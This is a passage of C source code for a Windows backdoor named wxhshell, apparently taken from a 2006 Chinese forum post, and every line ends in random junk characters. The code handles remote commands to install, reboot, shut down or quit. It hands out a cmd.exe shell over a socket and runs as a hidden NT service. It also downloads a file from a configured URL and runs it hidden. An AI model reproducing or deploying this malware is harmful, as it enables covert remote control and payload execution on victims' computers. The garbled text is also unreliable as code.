  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;m@>v?zE  
  } .ikFqZ$$  
  else {  w~&bpCB!  
ex&&7$CXc  
    switch(cmd[0]) { Xj?j1R>GB  
  HOtays,#<}  
  // 帮助 E':y3T@."  
  case '?': { nu4GK}xI  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d\'M ~VQ  
    break; =r:D]?8oC  
  } ~|R"GloUw  
  // 安装 gXc&uR0S  
  case 'i': { w'?uJW  
    if(Install()) V?0|#=_mE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6TlkPM$~2  
    else bmzs!fg_~R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); onHUi]yYu{  
    break; j;J4]]R;o  
    } =/V r,y$  
  // 卸载 gj$gqO`B  
  case 'r': { w!8h4U. ;  
    if(Uninstall()) g>T'R Vb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JG0TbM1(Bt  
    else xa5I{<<U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rM_8piD  
    break; *~:4&$  
    } &yp_wW-  
  // 显示 wxhshell 所在路径 q}1AV7$Ai  
  case 'p': { gMFTZQsP  
    char svExeFile[MAX_PATH]; -8#Of)W  
    strcpy(svExeFile,"\n\r"); i[T!{<  
      strcat(svExeFile,ExeFile); +c+#InsY  
        send(wsh,svExeFile,strlen(svExeFile),0); $NT{ssh  
    break; ,d&~#W]  
    } k%VV(P]sT  
  // 重启 zl4Iq+5~6Q  
  case 'b': { N=)N   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GwxfnC Ki9  
    if(Boot(REBOOT)) 6]CY[qEaR$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7o'kdY Jzo  
    else { xzAyE5GL>  
    closesocket(wsh); {[NBTT9&  
    ExitThread(0); dl;^sn0s  
    } S^a")U4  
    break; z;2kKQZm  
    } vsRn \Y  
  // 关机 cOxF.(L  
  case 'd': { cQA;Y!Q #  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u\<z5O  
    if(Boot(SHUTDOWN)) [ !].G=8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W7_X=>l  
    else { #L` @["  
    closesocket(wsh); A)/_:  
    ExitThread(0); _ ?xORzO  
    } B14z<x}Q  
    break; PZ AyHXY  
    } P!0uAkt9C  
  // 获取shell C Rw.UC\  
  case 's': { 6zaO$  
    CmdShell(wsh); 8%U+y0j6b  
    closesocket(wsh); PL%U  
    ExitThread(0); FI Io{ru  
    break; [(F.x6z)  
  } mC8c`# 1T  
  // 退出 _r?H by<b  
  case 'x': { Oz-X}eM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jLM1 ~`&  
    CloseIt(wsh); Dc}-wnga  
    break; q~ T*R<S  
    } !Hr~B.f7  
  // 离开 &?#V*-;^  
  case 'q': { HX7"w   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1\$xq9  
    closesocket(wsh); W{*U#:Jx1  
    WSACleanup(); F $^RM3  
    exit(1); es6!p 7p?  
    break; }[ld=9p(  
        } {M )Y6\v  
  } sV%<U-X  
  } u$X [=  
;1'X_tp  
  // 提示信息 [?Cv^t${+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N! }p  
} C-V,3}=*2  
  } 7b_t%G"  
4%Z!*W*  
  return; xVf AlN37(  
} )R(kXz=M  
tMR&>hM  
// shell模块句柄 &'TZU"_  
int CmdShell(SOCKET sock) m6a`OkP  
{ *GH` u*C_  
STARTUPINFO si; f(6`5/C  
ZeroMemory(&si,sizeof(si)); /q^)thJ~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $BXZFC_1S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qRZv[T%*Q  
PROCESS_INFORMATION ProcessInfo; +vIpt{733  
char cmdline[]="cmd"; RXxi7^ U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a`  s2 z  
  return 0; FAX|.!US*p  
} sf<S#;aYqn  
M ~z A  
// 自身启动模式 !ow:P8K?  
int StartFromService(void) :k*'M U}  
{ Ub2t7MU  
typedef struct &)zNu  
{ %JF^@\E!|  
  DWORD ExitStatus; p.A_,iE  
  DWORD PebBaseAddress; UyTsUkY  
  DWORD AffinityMask; 6!*be|<&  
  DWORD BasePriority; IW?).%F  
  ULONG UniqueProcessId; U5\^[~vW  
  ULONG InheritedFromUniqueProcessId; ywTt<;  
}   PROCESS_BASIC_INFORMATION; sEkfmB2J/  
%IL] Wz<  
PROCNTQSIP NtQueryInformationProcess; aMe]6cWHV>  
]V0V8fU|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z$LWZg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dWqKt0uh!  
duFVh8  
  HANDLE             hProcess; =PYfk6j9  
  PROCESS_BASIC_INFORMATION pbi; = .a}  
RtO3!dGT.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [ R  
  if(NULL == hInst ) return 0; b 5<&hN4g  
8eq*q   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l25_J.e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kw{dvE\K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~" |MwR!0  
VwvL  
  if (!NtQueryInformationProcess) return 0; 1yC_/Va1  
gB|>[6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -FpZZ8=,M2  
  if(!hProcess) return 0; -@L7! ,j  
<+Eu.K&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C@d*t?  
VzD LGLH  
  CloseHandle(hProcess); cq+G0F+H  
<` [o|>A Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !l NCuR/T  
if(hProcess==NULL) return 0; mh#NmW>n  
/5:2g# S4  
HMODULE hMod; ,2oFt\`.r  
char procName[255]; }?G([s56  
unsigned long cbNeeded; nVB.sab  
:j^IXZW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2qd5iOhX+  
[x{z}rYH  
  CloseHandle(hProcess); ,+2!&"zD  
PWciD '!  
if(strstr(procName,"services")) return 1; // 以服务启动 q8A;%.ZLG  
f euATL]  
  return 0; // 注册表启动 WbJ|]}hJ\  
} Ey|{yUmU+  
&3gC&b^i  
// 主模块 CWT#1L=  
int StartWxhshell(LPSTR lpCmdLine) ]2E#P.-!b  
{ +MZsL7%  
  SOCKET wsl; dCA| )  
BOOL val=TRUE; $, hHR:  
  int port=0; zUuOX5-6x  
  struct sockaddr_in door; 5 EhOvt8  
/cHUqn30a  
  if(wscfg.ws_autoins) Install(); \k4tYL5  
JuW"4R  
port=atoi(lpCmdLine); Gh%R4)}  
ncGt-l<9  
if(port<=0) port=wscfg.ws_port; #`]`gNB0Yg  
ej91)3AO  
  WSADATA data; j]HzI{7y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :2t0//@X  
='A VI-go5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   <+y%k~("  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Es<& 6  
  door.sin_family = AF_INET; uB=DC'lkg  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qu\cU(H|  
  door.sin_port = htons(port); L|hELWru  
'4KN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'p FK+j  
closesocket(wsl); :+_uyp2V  
return 1; E] 6]c!2:  
} QM('bbN  
1.0:  
  if(listen(wsl,2) == INVALID_SOCKET) { a = *'  
closesocket(wsl); Ztl?*zL  
return 1; 'm=TBNQTS  
} 7 D(Eo{ue  
  Wxhshell(wsl); KvjsibI/Y  
  WSACleanup(); S>Z07d6&  
 g^l~AR  
return 0; E3hXs6P  
~P7zg!p/q  
} [][ze2+b  
E "%d O  
// 以NT服务方式启动 |LV}kG(2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *I:a \o~$[  
{ )\KU:_l  
DWORD   status = 0; ~xLo0EV "  
  DWORD   specificError = 0xfffffff; oRo[WQla  
~4+ICCbH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]z O6ESH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;fW`#aE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FMX ^k  
  serviceStatus.dwWin32ExitCode     = 0; ,ZI#p6  
  serviceStatus.dwServiceSpecificExitCode = 0; |A.nP9hW  
  serviceStatus.dwCheckPoint       = 0; dVMduo  
  serviceStatus.dwWaitHint       = 0; S awf]/  
K 0e*K=UM  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |.KB  
  if (hServiceStatusHandle==0) return; ).)^\  
CJjT-(a  
status = GetLastError(); A^c  (  
  if (status!=NO_ERROR) (`&SV$m  
{ hG~HV{6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >*MGF=.QG  
    serviceStatus.dwCheckPoint       = 0; HV&i! M@T  
    serviceStatus.dwWaitHint       = 0; U5 ia|V  
    serviceStatus.dwWin32ExitCode     = status; ;il+C!6zpf  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8e5imei  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }<qZXb1  
    return; wP7 E8'  
  } =pZ$oTR  
X2|&\G9c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \3&1iA9=)  
  serviceStatus.dwCheckPoint       = 0; 6d`qgEM3  
  serviceStatus.dwWaitHint       = 0; XXw>h4hl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b@S~ =  
} 7{tU'`P>  
W|Cs{rBc?  
// 处理NT服务事件,比如:启动、停止 99\lZ{f(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +[ng99p  
{ V%(T#_E/6  
switch(fdwControl) shD4";8*@  
{ B)*1[Jf{4  
case SERVICE_CONTROL_STOP: :9DyABK=Cv  
  serviceStatus.dwWin32ExitCode = 0; \JC_"gqt  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2 g~W})e  
  serviceStatus.dwCheckPoint   = 0; 75pn1*"gQ  
  serviceStatus.dwWaitHint     = 0; F}.R -j#  
  { J%]5C}v \  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #_Zkke~{  
  } QFK'r\3 pU  
  return; p//mV H%  
case SERVICE_CONTROL_PAUSE: 4p7j "d5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :IX,mDO  
  break; DUSQh+C  
case SERVICE_CONTROL_CONTINUE: ? o&goiM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PWeWz(]0Z4  
  break; n/Dg)n?  
case SERVICE_CONTROL_INTERROGATE: e,xJ%f  
  break; PM i.)%++  
}; {Mb2X^@7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bXvriQ.UH  
} EERCb%M 8Z  
!UR3`Xk  
// 标准应用程序主函数 1+"d-`'Z2O  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qpQiMiB#g'  
{ 9K;g\? 3  
F~0iJnF  
// 获取操作系统版本 M6ZXq6J  
OsIsNt=GetOsVer(); >;]S+^dXY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Hh%"  
'0^lMQMg  
  // 从命令行安装 ly69:TR7I  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2Jky,YLcb  
fRxn,HyV  
  // 下载执行文件 7|"l/s9,  
if(wscfg.ws_downexe) { x:i,l:x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V["'eJA,,  
  WinExec(wscfg.ws_filenam,SW_HIDE); n!sOKw  
} r:PYAb=g  
&1Y7Ne  
if(!OsIsNt) { uJ=d!Kn  
// 如果时win9x,隐藏进程并且设置为注册表启动 WZn"I& Z  
HideProc(); KSJ+3_7 ]k  
StartWxhshell(lpCmdLine); E@%1HO_  
} L{GlDoFk  
else sOVpDtZ]LR  
  if(StartFromService()) @#*{* S8  
  // 以服务方式启动 ?^J%S,  
  StartServiceCtrlDispatcher(DispatchTable); p I.~j]*:{  
else ^hsr/|  
  // 普通方式启动 G*=&yx."E  
  StartWxhshell(lpCmdLine); KzX)6 |g{"  
i03=Af3  
return 0; mq}UUk@  
}
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只看该作者 1 发表于: 2006-10-10
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